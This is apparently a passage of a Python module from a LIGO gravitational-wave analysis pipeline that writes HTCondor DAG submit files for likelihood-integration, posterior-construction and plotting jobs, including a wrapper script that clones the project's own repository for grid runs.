ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # ile_job.set_stdout_file(fname_out) # ile_job.add_condor_cmd("+PostCmd", ' "' + gzip + ' ' +fname_out + '"') explode_str = "" for indx in np.arange(n_explode): explode_str+= " {}/{}-{}.xml.gz ".format(working_dir,output_base,indx) explode_str += " {}/{}.xml.gz ".format(working_dir,output_base) ile_job.add_arg(explode_str) # ile_job.add_arg("overlap-grid*.xml.gz") # working in our current directory if old_add: ile_job.add_opt("ilwdchar-compat",'') # needed? ile_job.add_condor_cmd('getenv', 'True') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_subdagILE_sub(tag='subdag_ile', exe=None, universe='vanilla', submit_file=None,input_pattern=None,target_dir=None,output_suffix=None,log_dir=None,sim_xml=None, **kwargs): """ Write script to convert PSD from one format to another. Needs to be called once per PSD file being used. """ exe = exe or which("create_ile_sub_dag.py") subfile = submit_file or 'ILE.sub' ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) ile_job.add_arg("--target-dir "+target_dir) ile_job.add_arg("--output-suffix "+output_suffix) ile_job.add_arg("--submit-script "+subfile) ile_job.add_arg("--macroiteration $(macroiteration)") ile_job.add_arg("--sim-xml "+sim_xml) working_dir = log_dir.replace("/logs", '') # assumption about workflow/naming! Danger! # # Logging options # uniq_str = "$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # ile_job.set_stdout_file(fname_out) # ile_job.add_condor_cmd("+PostCmd", ' "' + gzip + ' ' +fname_out + '"') ile_job.add_condor_cmd('getenv', 'True') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name

40.149694

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0.665526

# Copyright (C) 2013 Evan Ochsner # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; either version 2 of the License, or (at your # option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General # Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. """ A collection of routines to manage Condor workflows (DAGs). """ import os, sys import numpy as np from time import time from hashlib import md5 from glue import pipeline __author__ = "Evan Ochsner <[email protected]>, Chris Pankow <[email protected]>" # Taken from # http://pythonadventures.wordpress.com/2011/03/13/equivalent-of-the-which-command-in-python/ def is_exe(fpath): return os.path.exists(fpath) and os.access(fpath, os.X_OK) def which(program): fpath, fname = os.path.split(program) if fpath: if is_exe(program): return program else: for path in os.environ["PATH"].split(os.pathsep): exe_file = os.path.join(path, program) if is_exe(exe_file): return exe_file return None def mkdir(dir_name): try : os.mkdir(dir_name) except OSError: pass def generate_job_id(): """ Generate a unique md5 hash for use as a job ID. Borrowed and modified from the LAL code in glue/glue/pipeline.py """ t = str( int( time() * 1000 ) ) r = str( int( np.random.random() * 100000000000000000 ) ) return md5(t + r).hexdigest() # From https://github.com/lscsoft/lalsuite/blob/master/lalinference/python/lalinference/lalinference_pipe_utils.py def write_integrate_likelihood_extrinsic_grid_sub(tag='integrate', exe=None, log_dir=None, ncopies=1, **kwargs): """ Write a submit file for launching jobs to marginalize the likelihood over extrinsic parameters. Like the other case (below), but modified to use the sim_xml and loop over 'event' Inputs: - 'tag' is a string to specify the base name of output files. The output submit file will be named tag.sub, and the jobs will write their output to tag-ID.out, tag-ID.err, tag.log, where 'ID' is a unique identifier for each instance of a job run from the sub file. - 'cache' is the path to a cache file which gives the location of the data to be analyzed. - 'sim' is the path to the XML file with the grid - 'channelH1/L1/V1' is the channel name to be read for each of the H1, L1 and V1 detectors. - 'psdH1/L1/V1' is the path to an XML file specifying the PSD of each of the H1, L1, V1 detectors. - 'ncopies' is the number of runs with identical input parameters to submit per condor 'cluster' Outputs: - An instance of the CondorDAGJob that was generated for ILE """ assert len(kwargs["psd_file"]) == len(kwargs["channel_name"]) exe = exe or which("integrate_likelihood_extrinsic") ile_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) if "output_file" in kwargs and kwargs["output_file"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["output_file"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) del kwargs["output_file"] if "save_samples" in kwargs and kwargs["save_samples"] is True: ile_job.add_opt("save-samples", None) del kwargs["save_samples"] # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) # # Macro based options # ile_job.add_var_opt("event") ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', '2048') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") ### ### SUGGESTION FROM STUART (for later) # request_memory = ifthenelse( (LastHoldReasonCode=!=34 && LastHoldReasonCode=!=26), InitialRequestMemory, int(1.5 * NumJobStarts * MemoryUsage) ) # periodic_release = ((HoldReasonCode =?= 34) || (HoldReasonCode =?= 26)) # This will automatically release a job that is put on hold for using too much memory with a 50% increased memory request each tim.e return ile_job, ile_sub_name # FIXME: Keep in sync with arguments of integrate_likelihood_extrinsic def write_integrate_likelihood_extrinsic_sub(tag='integrate', exe=None, log_dir=None, ncopies=1, **kwargs): """ Write a submit file for launching jobs to marginalize the likelihood over extrinsic parameters. Inputs: - 'tag' is a string to specify the base name of output files. The output submit file will be named tag.sub, and the jobs will write their output to tag-ID.out, tag-ID.err, tag.log, where 'ID' is a unique identifier for each instance of a job run from the sub file. - 'cache' is the path to a cache file which gives the location of the data to be analyzed. - 'coinc' is the path to a coincident XML file, from which masses and times will be drawn FIXME: remove this once it's no longer needed. - 'channelH1/L1/V1' is the channel name to be read for each of the H1, L1 and V1 detectors. - 'psdH1/L1/V1' is the path to an XML file specifying the PSD of each of the H1, L1, V1 detectors. - 'ncopies' is the number of runs with identical input parameters to submit per condor 'cluster' Outputs: - An instance of the CondorDAGJob that was generated for ILE """ assert len(kwargs["psd_file"]) == len(kwargs["channel_name"]) exe = exe or which("integrate_likelihood_extrinsic") ile_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) if "output_file" in kwargs and kwargs["output_file"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["output_file"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) del kwargs["output_file"] if "save_samples" in kwargs and kwargs["save_samples"] is True: ile_job.add_opt("save-samples", None) del kwargs["save_samples"] # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) # # Macro based options # ile_job.add_var_opt("mass1") ile_job.add_var_opt("mass2") ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', '2048') return ile_job, ile_sub_name def write_result_coalescence_sub(tag='coalesce', exe=None, log_dir=None, output_dir="./", use_default_cache=True): """ Write a submit file for launching jobs to coalesce ILE output """ exe = exe or which("ligolw_sqlite") sql_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) sql_sub_name = tag + '.sub' sql_job.set_sub_file(sql_sub_name) # # Logging options # uniq_str = "$(cluster)-$(process)" sql_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) sql_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) sql_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) if use_default_cache: sql_job.add_opt("input-cache", "ILE_$(macromassid).cache") else: sql_job.add_arg("$(macrofiles)") #sql_job.add_arg("*$(macromassid)*.xml.gz") sql_job.add_opt("database", "ILE_$(macromassid).sqlite") #if os.environ.has_key("TMPDIR"): #tmpdir = os.environ["TMPDIR"] #else: #print >>sys.stderr, "WARNING, TMPDIR environment variable not set. Will default to /tmp/, but this could be dangerous." #tmpdir = "/tmp/" tmpdir = "/dev/shm/" sql_job.add_opt("tmp-space", tmpdir) sql_job.add_opt("verbose", None) sql_job.add_condor_cmd('getenv', 'True') sql_job.add_condor_cmd('request_memory', '1024') return sql_job, sql_sub_name def write_posterior_plot_sub(tag='plot_post', exe=None, log_dir=None, output_dir="./"): """ Write a submit file for launching jobs to coalesce ILE output """ exe = exe or which("plot_like_contours") plot_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) plot_sub_name = tag + '.sub' plot_job.set_sub_file(plot_sub_name) # # Logging options # uniq_str = "$(cluster)-$(process)" plot_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) plot_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) plot_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) plot_job.add_opt("show-points", None) plot_job.add_opt("dimension1", "mchirp") plot_job.add_opt("dimension2", "eta") plot_job.add_opt("input-cache", "ILE_all.cache") plot_job.add_opt("log-evidence", None) plot_job.add_condor_cmd('getenv', 'True') plot_job.add_condor_cmd('request_memory', '1024') return plot_job, plot_sub_name def write_tri_plot_sub(tag='plot_tri', injection_file=None, exe=None, log_dir=None, output_dir="./"): """ Write a submit file for launching jobs to coalesce ILE output """ exe = exe or which("make_triplot") plot_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) plot_sub_name = tag + '.sub' plot_job.set_sub_file(plot_sub_name) # # Logging options # uniq_str = "$(cluster)-$(process)" plot_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) plot_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) plot_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) plot_job.add_opt("output", "ILE_triplot_$(macromassid).png") if injection_file is not None: plot_job.add_opt("injection", injection_file) plot_job.add_arg("ILE_$(macromassid).sqlite") plot_job.add_condor_cmd('getenv', 'True') #plot_job.add_condor_cmd('request_memory', '2048') return plot_job, plot_sub_name def write_1dpos_plot_sub(tag='1d_post_plot', exe=None, log_dir=None, output_dir="./"): """ Write a submit file for launching jobs to coalesce ILE output """ exe = exe or which("postprocess_1d_cumulative") plot_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) plot_sub_name = tag + '.sub' plot_job.set_sub_file(plot_sub_name) # # Logging options # uniq_str = "$(cluster)-$(process)" plot_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) plot_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) plot_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) plot_job.add_opt("save-sampler-file", "ILE_$(macromassid).sqlite") plot_job.add_opt("disable-triplot", None) plot_job.add_opt("disable-1d-density", None) plot_job.add_condor_cmd('getenv', 'True') plot_job.add_condor_cmd('request_memory', '2048') return plot_job, plot_sub_name def write_CIP_sub(tag='integrate', exe=None, input_net='all.net',output='output-ILE-samples',universe="vanilla",out_dir=None,log_dir=None, use_eos=False,ncopies=1,arg_str=None,request_memory=8192,arg_vals=None, no_grid=False,**kwargs): """ Write a submit file for launching jobs to marginalize the likelihood over intrinsic parameters. Inputs: Outputs: - An instance of the CondorDAGJob that was generated for ILE """ exe = exe or which("util_ConstructIntrinsicPosterior_GenericCoordinates.py") ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # # Add options en mass, by brute force # arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line ile_job.add_opt("fname", input_net) ile_job.add_opt("fname-output-samples", out_dir+"/"+output) ile_job.add_opt("fname-output-integral", out_dir+"/"+output) # # Macro based options. # - select EOS from list (done via macro) # - pass spectral parameters # # ile_job.add_var_opt("event") if use_eos: ile_job.add_var_opt("using-eos") # # Logging options # uniq_str = "$(macroevent)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) if "fname_output_samples" in kwargs and kwargs["fname_output_samples"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["fname_output_samples"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) if "fname_output_integral" in kwargs and kwargs["fname_output_integral"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["fname_output_integral"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', str(request_memory)) # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) ile_job.add_condor_cmd("stream_error",'True') ile_job.add_condor_cmd("stream_output",'True') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") ### ### SUGGESTION FROM STUART (for later) # request_memory = ifthenelse( (LastHoldReasonCode=!=34 && LastHoldReasonCode=!=26), InitialRequestMemory, int(1.5 * NumJobStarts * MemoryUsage) ) # periodic_release = ((HoldReasonCode =?= 34) || (HoldReasonCode =?= 26)) # This will automatically release a job that is put on hold for using too much memory with a 50% increased memory request each tim.e return ile_job, ile_sub_name def write_puff_sub(tag='puffball', exe=None, input_net='output-ILE-samples',output='puffball',universe="vanilla",out_dir=None,log_dir=None, use_eos=False,ncopies=1,arg_str=None,request_memory=1024,arg_vals=None, no_grid=False,**kwargs): """ Perform puffball calculation Inputs: Outputs: - An instance of the CondorDAGJob that was generated for ILE """ exe = exe or which("util_ParameterPuffball.py") ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # # Add options en mass, by brute force # arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line ile_job.add_opt("inj-file", input_net) ile_job.add_opt("inj-file-out", output) # # Logging options # uniq_str = "$(macroevent)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', str(request_memory)) # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_ILE_sub_simple(tag='integrate', exe=None, log_dir=None, use_eos=False,simple_unique=False,ncopies=1,arg_str=None,request_memory=4096,request_gpu=False,request_disk=False,arg_vals=None, transfer_files=None,transfer_output_files=None,use_singularity=False,use_osg=False,use_simple_osg_requirements=False,singularity_image=None,use_cvmfs_frames=False,frames_dir=None,cache_file=None,fragile_hold=False,max_runtime_minutes=None,condor_commands=None,**kwargs): """ Write a submit file for launching jobs to marginalize the likelihood over intrinsic parameters. Inputs: Outputs: - An instance of the CondorDAGJob that was generated for ILE """ if use_singularity and (singularity_image == None) : print(" FAIL : Need to specify singularity_image to use singularity ") sys.exit(0) if use_singularity and (frames_dir == None) and (cache_file == None) : print(" FAIL : Need to specify frames_dir or cache_file to use singularity (at present) ") sys.exit(0) if use_singularity and (transfer_files == None) : print(" FAIL : Need to specify transfer_files to use singularity at present! (we will append the prescript; you should transfer any PSDs as well as the grid file ") sys.exit(0) exe = exe or which("integrate_likelihood_extrinsic") frames_local = None if use_singularity: path_split = exe.split("/") print((" Executable: name breakdown ", path_split, " from ", exe)) singularity_base_exe_path = "/opt/lscsoft/rift/MonteCarloMarginalizeCode/Code/" # should not hardcode this ...! if 'SINGULARITY_BASE_EXE_DIR' in list(os.environ.keys()) : singularity_base_exe_path = os.environ['SINGULARITY_BASE_EXE_DIR'] else: # singularity_base_exe_path = "/opt/lscsoft/rift/MonteCarloMarginalizeCode/Code/" # should not hardcode this ...! singularity_base_exe_path = "/usr/bin/" # should not hardcode this ...! exe=singularity_base_exe_path + path_split[-1] if not(frames_dir is None): frames_local = frames_dir.split("/")[-1] elif use_osg: # NOT using singularity! if not(frames_dir is None): frames_local = frames_dir.split("/")[-1] path_split = exe.split("/") exe=path_split[-1] # pull out basename exe_here = 'my_wrapper.sh' if transfer_files is None: transfer_files = [] transfer_files += ['../my_wrapper.sh'] with open(exe_here,'w') as f: f.write("#! /bin/bash \n") f.write(r""" #!/bin/bash # Modules and scripts run directly from repository # Note the repo and branch are self-referential ! Not a robust solution long-term # Exit on failure: # set -e export INSTALL_DIR=research-projects-RIT export ILE_DIR=${INSTALL_DIR}/MonteCarloMarginalizeCode/Code export PATH=${PATH}:${ILE_DIR} export PYTHONPATH=${PYTHONPATH}:${ILE_DIR} export GW_SURROGATE=gwsurrogate git clone https://git.ligo.org/richard-oshaughnessy/research-projects-RIT.git pushd ${INSTALL_DIR} git checkout temp-RIT-Tides-port_master-GPUIntegration popd ls cat local.cache echo Starting ... ./research-projects-RIT/MonteCarloMarginalizeCode/Code/""" + exe + " $@ \n") os.system("chmod a+x "+exe_here) exe = exe_here # update executable ile_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # # Add options en mass, by brute force # arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # # Macro based options. # - select EOS from list (done via macro) # - pass spectral parameters # # ile_job.add_var_opt("event") if use_eos: ile_job.add_var_opt("using-eos") requirements =[] # # Logging options # uniq_str = "$(macroevent)-$(cluster)-$(process)" if simple_unique: uniq_str = "$(macroevent)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # Add lame initial argument if "output_file" in kwargs and kwargs["output_file"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["output_file"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) del kwargs["output_file"] if "save_samples" in kwargs and kwargs["save_samples"] is True: ile_job.add_opt("save-samples", None) del kwargs["save_samples"] # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) if cache_file: ile_job.add_opt("cache-file",cache_file) ile_job.add_var_opt("event") if not use_osg: ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', str(request_memory)) if not(request_disk is False): ile_job.add_condor_cmd('request_disk', str(request_disk)) nGPUs =0 if request_gpu: nGPUs=1 ile_job.add_condor_cmd('request_GPUs', str(nGPUs)) if use_singularity: # Compare to https://github.com/lscsoft/lalsuite/blob/master/lalinference/python/lalinference/lalinference_pipe_utils.py ile_job.add_condor_cmd('request_CPUs', str(1)) ile_job.add_condor_cmd('transfer_executable', 'False') ile_job.add_condor_cmd("+SingularityBindCVMFS", 'True') ile_job.add_condor_cmd("+SingularityImage", '"' + singularity_image + '"') requirements = [] requirements.append("HAS_SINGULARITY=?=TRUE") # if not(use_simple_osg_requirements): # requirements.append("HAS_CVMFS_LIGO_CONTAINERS=?=TRUE") #ile_job.add_condor_cmd("requirements", ' (IS_GLIDEIN=?=True) && (HAS_LIGO_FRAMES=?=True) && (HAS_SINGULARITY=?=TRUE) && (HAS_CVMFS_LIGO_CONTAINERS=?=TRUE)') if use_cvmfs_frames: requirements.append("HAS_LIGO_FRAMES=?=TRUE") ile_job.add_condor_cmd('use_x509userproxy','True') if 'X509_USER_PROXY' in list(os.environ.keys()): print(" Storing copy of X509 user proxy -- beware expiration! ") cwd = os.getcwd() fname_proxy = cwd +"/my_proxy" # this can get overwritten, that's fine - just renews, feature not bug os.system("cp ${X509_USER_PROXY} " + fname_proxy) # ile_job.add_condor_cmd('x509userproxy',os.environ['X509_USER_PROXY']) ile_job.add_condor_cmd('x509userproxy',fname_proxy) if use_osg: if not(use_simple_osg_requirements): requirements.append("IS_GLIDEIN=?=TRUE") # avoid black-holing jobs to specific machines that consistently fail. Uses history attribute for ad ile_job.add_condor_cmd('periodic_release','(HoldReasonCode == 45) && (HoldReasonSubCode == 0)') ile_job.add_condor_cmd('job_machine_attrs','Machine') ile_job.add_condor_cmd('job_machine_attrs_history_length','4') # for indx in [1,2,3,4]: # requirements.append("TARGET.GLIDEIN_ResourceName=!=MY.MachineAttrGLIDEIN_ResourceName{}".format(indx)) if "OSG_DESIRED_SITES" in os.environ: ile_job.add_condor_cmd('+DESIRED_SITES',os.environ["OSG_DESIRED_SITES"]) if "OSG_UNDESIRED_SITES" in os.environ: ile_job.add_condor_cmd('+UNDESIRED_SITES',os.environ["OSG_UNDESIRED_SITES"]) # Some options to automate restarts, acts on top of RETRY in dag if fragile_hold: ile_job.add_condor_cmd("periodic_release","(NumJobStarts < 5) && ((CurrentTime - EnteredCurrentStatus) > 600)") ile_job.add_condor_cmd("on_exit_hold","(ExitBySignal == True) || (ExitCode != 0)") if use_singularity or use_osg: # Set up file transfer options ile_job.add_condor_cmd("when_to_transfer_output",'ON_EXIT') # Stream log info ile_job.add_condor_cmd("stream_error",'True') ile_job.add_condor_cmd("stream_output",'True') # Create prescript command to set up local.cache, only if frames are needed # if we have CVMFS frames, we should be copying local.cache over directly, with it already populated ! if not(frames_local is None) and not(use_cvmfs_frames): # should be required for singularity or osg try: lalapps_path2cache=os.environ['LALAPPS_PATH2CACHE'] except KeyError: print("Variable LALAPPS_PATH2CACHE is unset, assume default lalapps_path2cache is appropriate") lalapps_path2cache="lalapps_path2cache" cmdname = 'ile_pre.sh' if transfer_files is None: transfer_files = [] transfer_files += ["../ile_pre.sh", frames_dir] # assuming default working directory setup with open(cmdname,'w') as f: f.write("#! /bin/bash -xe \n") f.write( "ls "+frames_local+" | {lalapps_path2cache} 1> local.cache \n".format(lalapps_path2cache=lalapps_path2cache)) # Danger: need user to correctly specify local.cache directory # Rewrite cache file to use relative paths, not a file:// operation f.write(" cat local.cache | awk '{print $1, $2, $3, $4}' > local_stripped.cache \n") f.write("for i in `ls " + frames_local + "`; do echo "+ frames_local + "/$i; done > base_paths.dat \n") f.write("paste local_stripped.cache base_paths.dat > local_relative.cache \n") f.write("cp local_relative.cache local.cache \n") os.system("chmod a+x ile_pre.sh") ile_job.add_condor_cmd('+PreCmd', '"ile_pre.sh"') # if use_osg: # ile_job.add_condor_cmd("+OpenScienceGrid",'True') if use_cvmfs_frames: transfer_files += ["../local.cache"] # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all # Write requirements # From https://github.com/lscsoft/lalsuite/blob/master/lalinference/python/lalinference/lalinference_pipe_utils.py ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") if not transfer_files is None: if not isinstance(transfer_files, list): fname_str=transfer_files else: fname_str = ','.join(transfer_files) fname_str=fname_str.strip() ile_job.add_condor_cmd('transfer_input_files', fname_str) ile_job.add_condor_cmd('should_transfer_files','YES') if not transfer_output_files is None: if not isinstance(transfer_output_files, list): fname_str=transfer_output_files else: fname_str = ','.join(transfer_output_files) fname_str=fname_str.strip() ile_job.add_condor_cmd('transfer_output_files', fname_str) # Periodic remove: kill jobs running longer than max runtime # https://stackoverflow.com/questions/5900400/maximum-run-time-in-condor if not(max_runtime_minutes is None): remove_str = 'JobStatus =?= 2 && (CurrentTime - JobStartDate) > ( {})'.format(60*max_runtime_minutes) ile_job.add_condor_cmd('periodic_remove', remove_str) ### ### SUGGESTION FROM STUART (for later) # request_memory = ifthenelse( (LastHoldReasonCode=!=34 && LastHoldReasonCode=!=26), InitialRequestMemory, int(1.5 * NumJobStarts * MemoryUsage) ) # periodic_release = ((HoldReasonCode =?= 34) || (HoldReasonCode =?= 26)) # This will automatically release a job that is put on hold for using too much memory with a 50% increased memory request each tim.e if condor_commands is not None: for cmd, value in condor_commands.iteritems(): ile_job.add_condor_cmd(cmd, value) return ile_job, ile_sub_name def write_consolidate_sub_simple(tag='consolidate', exe=None, base=None,target=None,universe="vanilla",arg_str=None,log_dir=None, use_eos=False,ncopies=1,no_grid=False, **kwargs): """ Write a submit file for launching a consolidation job util_ILEdagPostprocess.sh # suitable for ILE consolidation. arg_str # add argument (used for NR postprocessing, to identify group) """ exe = exe or 